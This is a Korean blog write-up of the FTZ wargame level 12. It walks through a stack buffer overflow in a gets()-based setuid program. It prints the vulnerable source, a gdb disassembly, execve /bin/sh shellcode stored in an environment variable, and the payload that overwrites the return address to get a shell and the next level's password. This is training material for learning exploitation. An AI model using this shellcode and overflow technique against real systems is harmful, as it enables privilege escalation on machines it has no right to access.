Jaeseo's Information Security Story

FTZ - level12 - WriteUp 본문

Write UP/FTZ

FTZ - level12 - WriteUp

Jaeseokim 2019. 11. 18. 20:08

FTZ - level12 - WriteUp

Level12:it is like this

 

일단 hint를 보고 문제를 풀어봅니다.

[level12@ftz level12cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( void )
{
    char str[256];

     setreuid( 3093, 3093 );
    printf( "문장을 입력하세요.\n" );
    gets( str );
    printf( "%s\n", str );
}  

일단 이번에도 level 11 과 같이 bof를 일으켜 level13의 권한으로 shell를 띄우거나 my-pass명령어를 실행해야 하는 것으로 보입니다.

소스코드를 이용해서 디버깅용 프로그램을 만들어 gdb로 분석을 해봅니다.

(gdb) set disassembly-flavor intel 
(gdb) disassemble main
Dump of assembler code for function main:
0x08048390 <main+0>:    push   ebp
0x08048391 <main+1>:    mov    ebp,esp
0x08048393 <main+3>:    sub    esp,0x108 //esp를 264만큼 공간 확보 
0x08048399 <main+9>:    and    esp,0xfffffff0
0x0804839c <main+12>:    mov    eax,0x0
0x080483a1 <main+17>:    sub    esp,eax
0x080483a3 <main+19>:    sub    esp,0x8 //esp를 8만큼 공간 확보 총 272
0x080483a6 <main+22>:    push   0xc15
0x080483ab <main+27>:    push   0xc15
0x080483b0 <main+32>:    call   0x80482d0 <setreuid>
0x080483b5 <main+37>:    add    esp,0x10
0x080483b8 <main+40>:    sub    esp,0xc
0x080483bb <main+43>:    push   0x80484a0
0x080483c0 <main+48>:    call   0x80482c0 <printf>
0x080483c5 <main+53>:    add    esp,0x10
0x080483c8 <main+56>:    sub    esp,0xc
0x080483cb <main+59>:    lea    eax,[ebp-264]
0x080483d1 <main+65>:    push   eax
0x080483d2 <main+66>:    call   0x80482a0 <gets>
0x080483d7 <main+71>:    add    esp,0x10
0x080483da <main+74>:    sub    esp,0x8
0x080483dd <main+77>:    lea    eax,[ebp-264]
0x080483e3 <main+83>:    push   eax
0x080483e4 <main+84>:    push   0x80484a9
0x080483e9 <main+89>:    call   0x80482c0 <printf>
0x080483ee <main+94>:    add    esp,0x10
0x080483f1 <main+97>:    leave  
0x080483f2 <main+98>:    ret    
End of assembler dump.

level11과 똑같이 아래의 스택구조로 되어 있을 것을 예상할 수 있습니다.

스택 구조
Data - 256byte
Dummy Data - 8byte
SFP(Stack Frame Pointer) - 4byte
RET(Return Address) - 4byte

이제 저번에 썻던 방법 대로 환경변수를 이용하여 bof를 발생시켜 봅니다.

[level12@ftz tmp]$ export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

getenv 함수를 이용하여 환경변수의 주소를 가져오는 프로그램을 작성합니다.

#include <stdio.h>

int main(int argc, char **argv){
        printf("%s : 0x%x\n",argv[1],getenv(argv[1]));
        return 0;
}

이 프로그램을 이용하여 $ATTACK의 주소를 가져옵니다.

[level12@ftz level12]$ ./tmp/env.out ATTACK
0xbfffd84b

이제 공격을 합니다.

[level12@ftz level12]$ (python -c 'print "\x90"*268+"\x4b\xd8\xff\xbf"';cat) | ./attackme 
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????K?

이번에는 파이프를 이용하여 입력값을 전달 시켰습니다.

그러면 위와 같이 계속 입력값을 받는 모습을 볼 수 있는데 이때 ls를 입력해 보면 입력한 명령어에 대해 결과 값을 보여 주는 모습을 볼 수 있습니다.

[level12@ftz level12]$ (python -c 'print "\x90"*268+"\x4b\xd8\xff\xbf"';cat) | ./attackme 
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????K?
ls
attackme  hint    public_html  tmp
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

그리고 이제 위와 같이 my-pass를 입력 하면 level13의 password가 보입니다.

level13:have no clue

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level14 - WriteUp  (0) 2019.11.25
FTZ - level13 - WriteUp  (2) 2019.11.19
FTZ - level11 - WriteUp  (0) 2019.11.15
FTZ - level10 - WriteUp  (0) 2019.11.13
FTZ - level9 - WriteUp  (0) 2019.11.12
Comments